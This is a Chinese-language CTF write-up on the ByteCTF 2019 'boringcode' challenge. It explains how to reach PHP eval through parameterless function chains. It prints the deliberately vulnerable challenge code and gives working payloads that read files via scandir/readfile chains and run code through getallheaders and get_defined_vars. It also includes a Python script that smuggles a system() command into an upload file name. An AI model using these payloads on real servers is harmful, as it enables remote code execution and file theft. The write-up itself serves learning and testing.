文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-15   1.8k

从ByteCTF boringcode 学习PHP无参数函数的利用

0x01 题目源码

题目环境:https://github.com/CTFTraining/bytectf_2019_web_boring_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

简单分析一下,这个页面的作用是,接受一个url参数,利用file_get_content远程获取url页面的源码,传递给eval执行。但在url传递和源码传递过程中有各种检测。

0x02 考点一

  1. is_valid_url()函数来检测url的正确性,并禁止使用data协议。
  2. url的host必须以baidu.com结尾。

这里如果没有is_valid_url()是可以使用data伪协议绕过域名的限制,如下面的例子所示:

PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2

1
2
3
4
5
6
7
8
<?php
$url = $_POST['url'];
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])){
$code = file_get_contents($url);
}

eval($code);

这里把data协议禁止了之后,想要利用伪协议绕过的话近乎无解。

但是还是有很多骚操作,这篇文章主要讲下面的知识,至于怎么绕过我就直接放一个链接:https://www.guildhab.top/?p=1077

0x02 考点二

  1. preg_replace('/[a-z]+\((?R)?\)/'可知,这里只允许无参数的函数传递进来。并且函数名只能为字母,不能包含下划线等其他特殊字符。
  2. 过滤了很多的关键字:et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log

也就是说我们传入的值必须是一个只含字母并且没有参数的函数的payload.同时可以注意到这个是可以进行一个函数的套用。所以我们的目标是构造多个空参数的函数去读取flag。

首先看scandir()函数:

scandir('.')能够返回当前目录的文件列表的数组,那么怎么取出文件名和读取文件呢,可以使用end()readfile()

但是还需要构造函数scandir('.')中的参数.,这里有一个localeconv()函数:

其中数组的第一个元素就是.,而与end()相反的取第一个元素的函数有:

因为这里还过滤en,所以就选择了后者。那么就可以构造如下payload可以读取到文件本地文件:

1
readfile(end(scandir(pos(localeconv()))))

但是flag并不在本文件夹下,那么就需要用到改变当前目录的函数:chdir() 函数可以改变当前的目录,此外还需要借助next()函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的..

但是chdir()函数并不会返回一个目录列表,而是一个Bool值,这里有两种办法:

第一种办法是使用if语句,也就是当跳转目录成功时候就读取当前文件。构造如下payload:

1
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))))

第二种方法是使用localtime()配合chr

获取.的payload:chr(pos(localtime()))

当时间为某一分钟的46秒时,pos(localtime())返回46,而且46是.的ASCII码值,所以payload就会返回.

但是localtime第一个参数是接收一个时间戳,所以这里需要使用time()来解决。time()不会受参数的影响并且会返回一个时间戳。

所以我们的payload就是:

1
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));

其中chdir(next(scandir(pos(localeconv()))))更换当前路径,scandir(chr(pos(localtime(time))))列出更改路径后的当前目录结构。

0x04 无参数函数小结

Sky师傅的文章已经说的很清楚了,这里就做一个小结。

1
2
3
4
5
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['code'])) {
eval($_POST['code']);
}
?>

这个正则表达式和上面的区别在于这里还可以运行函数名称包含_等特殊字符。

getenv()获取环境变量

版本要求PHP > 7.1

使用getenv()获取超全局变量的数组,使用array_rand和array_flip爆破出所有的全局变量。

getallheaders()

1
2
getallheaders()        获取全部 HTTP 请求头信息, 是下面函数的别名
apache_request_headers 获取全部 HTTP 请求头信息

这两个函数只适用于apache服务器

添加一个Header为ca01h: phpinfo();,根据位置选择合适的payload:

  1. 添加在Header在第一个:

    payload: code=eval(pos(getallheaders()));

    (pos()可以换为current(). 如果在第二个可以使用next())

  2. 添加在Header在最后一个:

    payload: code=eval(end(getallheaders()));

  3. 不知道位置:

    配合array_rand(), array_flip()构造payload进行爆破:

    payload: eval(array_rand(array_flip(getallheaders())));

get_defined_vars()

1
get_defined_vars() 函数返回由所有已定义变量所组成的数组。

和getallheaders()利用类似,但是不止apache, ngnix和其他的也可以用

函数返回的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
array(4) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(1) {
["code"]=>
string(29) "var_dump(get_defined_vars());"
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}

利用$_GET

url:http://127.0.0.1/ctf/boringcode/rce.php?test=phpinfo();

post:code=eval(end(current(get_defined_vars())));

利用$_FILE

1
2
3
4
5
6
7
8
9
10
import requests

files = {
"system('ping 127.0.0.1');": ""
}
data = {
"code":"eval(pos(pos(end(get_defined_vars()))));"
}
r = requests.post('http://127.0.0.1/ctf/boringcode/rce.php', data=data, files=files)
print(r.content.decode("utf-8", "ignore"))

直接把payload放在文件名上,然后用两次pos定位进行利用。

0x05 总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile() 输出一个文件

current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)

0x06 Reference

Topic URL
ByteCTF一道题的分析与学习PHP无参数函数的利用 https://threezh1.com/2019/09/15/boringcode/#get-defined-vars-gt-RCE
复现ByteCTF-boringcode https://www.plasf.cn/2019/10/07/ByteCTF-WEB复现/
PHP Parametric Function RCE https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#前言

0x07 Update

2020.06.19

如何利用无参数函数跳转到根目录,假设当前目录是/var/www/html

1
var_dump(scandir(dirname(dirname(dirname(getcwd())))))

2020.06.22

array_flip可以替换为array_reverse

readfile可以替换为show_source

2020.07.02

1
readfile(array_rand(array_flip(scandir(current(localeconv())))));

2020.07.13

https://app.yinxiang.com/fx/73cc8928-dad4-4f87-b4d6-0d1e29375ee0

Copyright © ca01h 2019-2020 | 本站总访问量